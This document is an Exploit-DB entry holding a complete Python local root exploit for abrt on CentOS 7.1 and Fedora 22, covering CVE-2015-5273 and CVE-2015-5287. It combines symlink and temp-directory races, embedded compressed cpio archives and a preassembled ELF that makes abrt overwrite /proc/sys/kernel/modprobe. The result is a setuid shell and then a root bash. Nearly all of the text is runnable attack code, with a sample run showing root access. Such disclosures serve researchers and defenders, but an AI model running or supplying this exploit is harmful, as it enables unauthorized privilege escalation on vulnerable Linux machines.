abrt (Centos 7.1 / Fedora 22) – Local Privilege Escalation

  • 作者: rebel
    日期: 2015-12-01
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/38835/
  • #!/usr/bin/python
    # CVE-2015-5273 + CVE-2015-5287
    # CENTOS 7.1/Fedora22 local root (probably works on SL and older versions too)
    # abrt-hook-ccpp insecure open() usage + abrt-action-install-debuginfo insecure temp directory usage
    # rebel 09/2015
    # ----------------------------------------
    
    # [user@localhost ~]$ id
    # uid=1000(user) gid=1000(user) groups=1000(user) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
    # [user@localhost ~]$ cat /etc/redhat-release 
    # CentOS Linux release 7.1.1503 (Core) 
    # [user@localhost ~]$ python abrt-centos-fedora.py
    # -- lots of boring output, might take a while on a slow connection --
    # /var/spool/abrt/abrt-hax-coredump created
    # executing crashing process..
    # success
    # bash-4.2# id
    # uid=0(root) gid=1000(user) groups=0(root),1000(user) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
    
    
    import time,os,datetime,sys,resource,socket
    
    
    fedora = "Fedora" in open("/etc/redhat-release").read()
    
    # mkdir dir1
    # ln -s /var/spool/abrt dir1/hax
    # mkdir dir2
    # mkdir dir2/hax
    # ln -s /proc/sys/kernel/modprobe dir2/hax/abrt-hax-coredump
    # cd dir1
    # find . -depth -print | cpio -o > ../cpio1
    # cd ../dir2
    # find . -depth -print | cpio -o > ../cpio2
    
    cpio1 = 'x\x9c;^\xc8\xcc\xa1\xb0\xef\xff\xc2\x17\xcc/\x98\x19\x19\x18\x18>\x86\xde\xdc\xc8\x02\xa4\xf9\x192\x12+\x18\xf4\xcb\x12\x8b\xf4\x8b\x0b\xf2\xf3s\xf4\x13\x93\x8aJ\x18\x8e\x03U\xb3\xef\xfb\xeb\x08R\xcd\x04U\r\xa2\x19\x18\xf4\x80r\x0cp\xc0\x08\xa5\xb9\xc1dH\x90\xa3\xa7\x8fk\x90\xa2\xa2"\xc3(\x18d\x00\x00\x16\xb9\x1bA'.decode("zip")
    cpio2 = 'x\x9c;^\xc8\xcc\x917\xfb\xff\xc2\x17\xcc/\x98\x19\x19\x18\x18>\x86\xde\xdc(\x06\xa4%\x192\x12+\xf4\x13\x93\x8aJt\x81\x0c\xdd\xe4\xfc\xa2\xd4\x94\xd2\xdc\x02\x06\xfd\x82\xa2\xfcd\xfd\xe2\xcab\xfd\xec\xd4\xa2\xbc\xd4\x1c\xfd\xdc\xfc\x14\xa0PR*\xc3q\xa0I\x19\xb3\xff:\x82Lb\x82\x9a\xc4\xc2\x00\x02@\x03\xc0\xb2+\xef@d\x99\xa1\xb2L`Y=\xa0\x1c\x03\x1c0Bin0\x19\x12\xe4\xe8\xe9\xe3\x1a\xa4\xa8\xa8\xc80\nh\x02\x00\x01\x980\x88'.decode("zip")
    
    if fedora:
    	cpio1 = cpio1.replace("/var/spool/abrt","/var/tmp///abrt")
    
    payload = "#!/bin/sh\ncp /bin/sh /tmp/sh\nchmod 6755 /tmp/sh\n"
    
    
    # we use a 32 bit binary because [vsyscall] will be at the end of the coredump on 64 bit binaries
    # and we can't control the contents of that region. on 32 bit binaries [stack] is at the end
    
    # the crashing binary will just fill the stack with /tmp/hax.sh which subsequently gets written
    # to /proc/sys/kernel/modprobe by /usr/libexec/abrt-hook-ccpp
    
    elf = 'x\x9c\xabw\xf5qcddd\x80\x01&\x06f\x06\x10/\xa4\x81\x85\xc3\x84\x01\x01L\x18\x14\x18`\xaa\xe0\xaa\x81j@x1\x90\t\xc2\xac 1\x01\x06\x06\x97F\x1b\x15\xfd\x92\xdc\x82\xd2o\x8dg\xfe\xf3\x03\xf9\xbb\xbe\x00\xb5\xec\x14\x01\xca\xee\xee\x07\xaa\xd7<\xd3\xc5\xdc\xc1\xa2\xe2\xe2\xfc\xe8{\xf3\x1b\x11\xaf\xe6_\x0c\xa5\x8fv8\x02\xc1\xff\x07\xfaP\x00\xd4\xad\x9f\x91X\xa1W\x9c\xc1\xc5\x00\x00-f"X'.decode("zip")
    
    # most people don't have nasm installed so i preassembled it
    # if you're not brave enough to run the preassembled file, here's the code :)
    
    """
    ; abrt-hax.asm
    ; nasm -f bin -o abrt-hax abrt-hax.asm
    BITS 32
    org 0x08048000
    ehdr: ; Elf32_Ehdr
    db0x7F, "ELF", 1, 1, 1, 0 ; e_ident
    times 8 db0
    dw2 ; e_type
    dw3 ; e_machine
    dd1 ; e_version
    dd_start; e_entry
    ddphdr - $$ ; e_phoff
    dd0 ; e_shoff
    dd0 ; e_flags
    dwehdrsize; e_ehsize
    dwphdrsize; e_phentsize
    dw1 ; e_phnum
    dw0 ; e_shentsize
    dw0 ; e_shnum
    dw0 ; e_shstrndx
    ehdrsizeequ $ - ehdr
    phdr: ; Elf32_Phdr
    dd1 ; p_type
    dd0 ; p_offset
    dd$$; p_vaddr
    dd$$; p_paddr
    ddfilesize; p_filesz
    ddfilesize; p_memsz
    dd5 ; p_flags
    dd0x1000; p_align
    phdrsizeequ $ - phdr
    
    _start:
    inc esp
    cmp dword [esp],0x706d742f
    jne l
    or esp,0xfff
    inc esp
    mov edx,500
    l3:
    mov ecx,msglen
    mov ebx,message
    sub esp,ecx
    l2:
    mov al,[ebx]
    mov [esp],al
    inc esp
    inc ebx
    loop l2
    sub esp,msglen
    dec edx
    cmp edx,0
    jne l3
    mov eax,0x41414141
    jmp eax
    message db'////////tmp/hax.sh',0x0a,0
    msglenequ $-message
    """
    
    
    
    build_id = os.popen("eu-readelf -n /usr/bin/hostname").readlines()[-1].split()[-1]
    
    os.chdir("/tmp")
    
    
    open("build_ids","w+").write(build_id + "\n")
    
    print build_id
    
    
    def child():
    	timestamp = int(time.time())
    
    	for i in xrange(0,3):
    		try:
    			t = datetime.datetime.fromtimestamp(timestamp+i)
    			d = "/var/tmp/abrt-tmp-debuginfo-%s.%u" % (t.strftime("%Y-%m-%d-%H:%M:%S"), os.getpid())
    			os.mkdir(d)
    			os.chmod(d,0777)
    			os.symlink("/var/tmp/haxfifo",d+"/unpacked.cpio")
    			print "created %s" % d
    		except: pass
    
    	os.execl("/usr/libexec/abrt-action-install-debuginfo-to-abrt-cache","abrt-action-install-debuginfo-to-abrt-cache","-y")
    
    try:
    	os.mkfifo("/var/tmp/haxfifo")
    	os.chmod("/var/tmp/haxfifo",0666)
    except:
    	pass
    
    def fifo(a):
    	print "reading from fifo.."
    	open("/var/tmp/haxfifo").read()
    	print "done"
    
    	print "writing to fifo.."
    	open("/var/tmp/haxfifo","w+").write(a)
    	print "done"
    
    if os.fork() == 0: child()
    
    print "first cpio..."
    fifo(cpio1)
    
    os.wait()
    time.sleep(1)
    
    if os.fork() == 0: child()
    print "second cpio..."
    fifo(cpio2)
    
    os.wait()
    time.sleep(1)
    
    if fedora:
    	sym = "/var/tmp/abrt/abrt-hax-coredump"
    else:
    	sym = "/var/spool/abrt/abrt-hax-coredump"
    
    try:
    	os.lstat(sym)
    except:
    	print "could not create symlink"
    	sys.exit(-1)
    
    print "%s created" % sym
    
    open("/tmp/abrt-hax","w+").write(elf)
    os.chmod("/tmp/abrt-hax",0755)
    
    if os.fork() == 0:
    	resource.setrlimit(resource.RLIMIT_CORE,(resource.RLIM_INFINITY,resource.RLIM_INFINITY,))
    	print "executing crashing process.."
    	os.execle("/tmp/abrt-hax","",{})
    
    os.wait()
    time.sleep(1)	
    
    if "/tmp/hax" not in open("/proc/sys/kernel/modprobe").read():
    	print "could not modify /proc/sys/kernel/modprobe"
    	sys.exit(-1)
    
    open("/tmp/hax.sh","w+").write(payload)
    os.chmod("/tmp/hax.sh",0755)
    
    try:
    	socket.socket(socket.AF_INET,socket.SOCK_STREAM,132)
    except:
    	pass
    
    time.sleep(0.5)
    
    try:
    	os.stat("/tmp/sh")
    except:
    	print "could not create suid"
    	sys.exit(-1)
    
    print "success"
    
    os.execl("/tmp/sh","sh","-p","-c",'''echo /sbin/modprobe > /proc/sys/kernel/modprobe;rm -f /tmp/sh;rm -rf /var/cache/abrt-di/hax;python -c "import os;os.setresuid(0,0,0);os.execl('/bin/bash','bash');"''')